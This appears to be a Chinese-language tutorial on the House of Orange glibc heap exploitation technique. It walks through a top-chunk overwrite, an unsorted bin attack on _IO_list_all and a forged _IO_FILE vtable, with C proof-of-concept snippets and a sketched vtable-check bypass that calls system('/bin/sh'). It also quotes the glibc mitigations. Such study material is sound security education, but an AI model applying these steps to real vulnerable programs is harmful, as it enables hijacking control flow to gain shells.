house of orange 漏洞
字数 1350 2025-08-05 08:20:12
House of Orange 漏洞分析与利用技术
1. 漏洞概述
House of Orange 是一种针对 glibc 堆管理机制的复杂利用技术,主要利用了 unsorted bin attack 和 _IO_FILE 结构体的特性。该技术在 glibc-2.23 及之前版本中有效,后续版本由于增加了安全防护措施而失效。
2. 基本原理
2.1 核心思想
- 通过堆溢出修改 Top chunk 的大小
- 强制系统调用
sysmalloc扩展堆空间 - 释放旧的 Top chunk 到 unsorted bin
- 利用 unsorted bin attack 修改
_IO_list_all指针 - 构造假的
_IO_FILE结构体 - 触发
abort()调用_IO_flush_all_lockp实现控制流劫持
2.2 关键利用链
__libc_malloc => malloc_printerr => __libc_message => abort => _IO_flush_all_lockp
3. 详细利用步骤
3.1 初始条件设置
char *p1 = malloc(0x400 - 16);
size_t *top = (size_t *)((char *)p1 + 0x400 - 16);
top[1] = 0xc01; // 修改Top chunk大小
3.2 触发堆扩展
char *p2 = malloc(0x1000); // 分配大于Top chunk大小的内存
此时会发生以下操作:
- 系统调用
sysmalloc扩展堆 - 旧的 Top chunk 被释放到 unsorted bin
- 新的 Top chunk 在扩展后的堆区域创建
3.3 构造 unsorted bin attack
// 计算_IO_list_all地址
io_list_all = top[2] + 0x9a8;
// 修改bk指针指向_IO_list_all-0x10
top[3] = io_list_all - 0x10;
// 设置"/bin/sh"字符串
memcpy((char *)top, "/bin/sh\x00", 8);
// 修改size字段为0x61
top[1] = 0x61;
3.4 构造假 _IO_FILE 结构
_IO_FILE *fp = (_IO_FILE *)top;
fp->_mode = 0; // 设置mode <= 0
fp->_IO_write_base = (char *)2; // 设置write_base
fp->_IO_write_ptr = (char *)3; // 设置write_ptr > write_base
// 设置跳转表
size_t *jump_table = &top[12];
jump_table[3] = (size_t)&winner; // 设置_IO_OVERFLOW函数指针
*(size_t *)((size_t)fp + sizeof(_IO_FILE)) = (size_t)jump_table;
3.5 触发漏洞
malloc(10); // 触发整个利用链
4. 关键条件检查
在 _IO_flush_all_lockp 中会进行以下检查:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset(fp) == 0 && fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
#endif
) && _IO_OVERFLOW(fp, EOF) == EOF)
成功概率约为50%,因为 fp->_mode 的值受随机化影响。
5. glibc-2.24 及之后的防护措施
5.1 vtable 检查机制
glibc-2.24 引入了 _IO_vtable_check,要求 vtable 指针必须在 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间。
static inline const struct _IO_jump_t *
IO_validate_vtable(const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *)vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely(offset >= section_length))
_IO_vtable_check();
return vtable;
}
5.2 绕过方法
可以利用 _IO_str_jumps 中的合法函数指针:
// 设置vtable指向_IO_str_jumps
// 将fp+0xe8偏移覆盖为system函数
// 将fp+0x38偏移覆盖为"/bin/sh"字符串
利用 _IO_str_finish 函数:
void _IO_str_finish(_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer)(fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish(fp, 0);
}
6. glibc-2.27 及之后的变更
在 glibc-2.27 中,abort() 不再调用 _IO_flush_all_lockp,使得 House of Orange 技术失效。
变更前 (glibc-2.26):
if (stage == 1) {
++stage;
fflush(NULL);
}
变更后 (glibc-2.27):
if (stage == 1) {
stage = 0;
__libc_lock_unlock_recursive(lock);
raise(SIGABRT);
__libc_lock_lock_recursive(lock);
stage = save_stage + 1;
}
7. House of Orange by Thread 变种
7.1 原理
当 thread_arena.top 的 size 不足且原 heap 大于 0x4000000 时,sysmalloc 会 free 掉 top chunk,转而向低地址申请新内存。
7.2 示例代码
void *thread_func(void *p) {
char *ptr[NUM] = {0}, *end, *new;
for (int i = 0; i < NUM; i++) {
ptr[i] = malloc(0x1000);
}
end = malloc(0x800);
new = malloc(0x1000);
return NULL;
}
7.3 关键代码路径
old_heap = heap_for_ptr(old_top);
old_heap_size = old_heap->size;
if ((long)(MINSIZE + nb - old_size) > 0 &&
grow_heap(old_heap, MINSIZE + nb - old_size) == 0) {
// 扩展堆
} else if ((heap = new_heap(nb + (MINSIZE + sizeof(*heap)), mp_.top_pad))) {
// 分配新堆并释放旧top chunk
}
8. 总结
House of Orange 是一种复杂的堆利用技术,主要特点包括:
- 利用 unsorted bin attack 修改
_IO_list_all - 通过构造假
_IO_FILE结构控制程序流 - 在 glibc-2.23 及之前版本有效
- 后续版本通过 vtable 检查和 abort 流程修改进行了防护
理解该技术需要深入掌握 glibc 的堆管理机制和 _IO_FILE 结构体的内部工作原理。